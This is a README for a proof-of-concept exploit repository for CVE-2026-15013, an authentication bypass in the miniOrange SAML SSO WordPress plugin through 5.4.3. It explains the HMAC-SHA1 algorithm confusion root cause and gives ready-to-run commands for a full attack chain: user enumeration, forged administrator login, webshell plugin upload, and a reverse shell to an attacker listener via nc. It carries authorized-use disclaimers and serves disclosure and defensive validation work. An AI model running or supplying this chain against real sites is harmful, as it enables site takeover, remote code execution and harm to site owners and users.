CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 Auth Bypass (PoC)

Proof-of-concept for CVE-2026-15013: unauthenticated authentication bypass via SAML Signature Algorithm Confusion (HMAC-SHA1) in the miniOrange SAML Single Sign On – SSO Login WordPress plugin (versions up to and including 5.4.3).

Authorized testing only. Use this code solely on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal.

Credits

CVE record: https://www.cve.org/CVERecord?id=CVE-2026-15013

Root cause

Mo_SAML_Utilities::mo_saml_cast_key() trusts the SignatureMethod algorithm from the attacker-controlled SAMLResponse. When set to HMAC-SHA1, the plugin recasts the IdP RSA public key as an HMAC shared secret and verifies the signature with it. Anyone who can read the IdP certificate (often public metadata) can forge a valid assertion for any existing WordPress user, including administrators.

Patched in 5.4.4+ (insecure algorithms / HMAC rejected).

CVSS

9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Requirements

• Python 3.10+
• openssl CLI (for cert to public key)
• Network access to the target WordPress site and, for automatic key fetch, the IdP SAML descriptor

Install dependencies:

pip install -r requirements.txt

Usage

Full chain (enum, HMAC login, admin, webshell):

python3 exploit.py -u https://TARGET.example

Optional reverse shell (start listener first: nc -lvnp 4444):

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

Login only (no shell):

python3 exploit.py -u https://TARGET.example --no-shell

Manual overrides:

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

Arguments

Flow

1. Detect WordPress and plugin version (must be <= 5.4.3)
2. Discover ACS, SP entityID, IdP issuer
3. Obtain IdP signing cert (metadata) and derive public key PEM (HMAC secret)
4. Enumerate WordPress users
5. Forge HMAC-SHA1 signed SAMLResponse per candidate user
6. Select account with install_plugins (admin)
7. Upload webshell plugin (exp/shell.php?c=id)
8. Optional reverse shell via --lhost

Disclaimer

This project is for educational and authorized security research only. The authors and contributors are not responsible for misuse. Always obtain written permission before testing third-party systems. The original vulnerability was reported through responsible disclosure; this repository only demonstrates reproduction for learning and defensive validation.

References

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• Plugin fix: miniOrange SAML 5.4.4+

License

For research use. No warranty.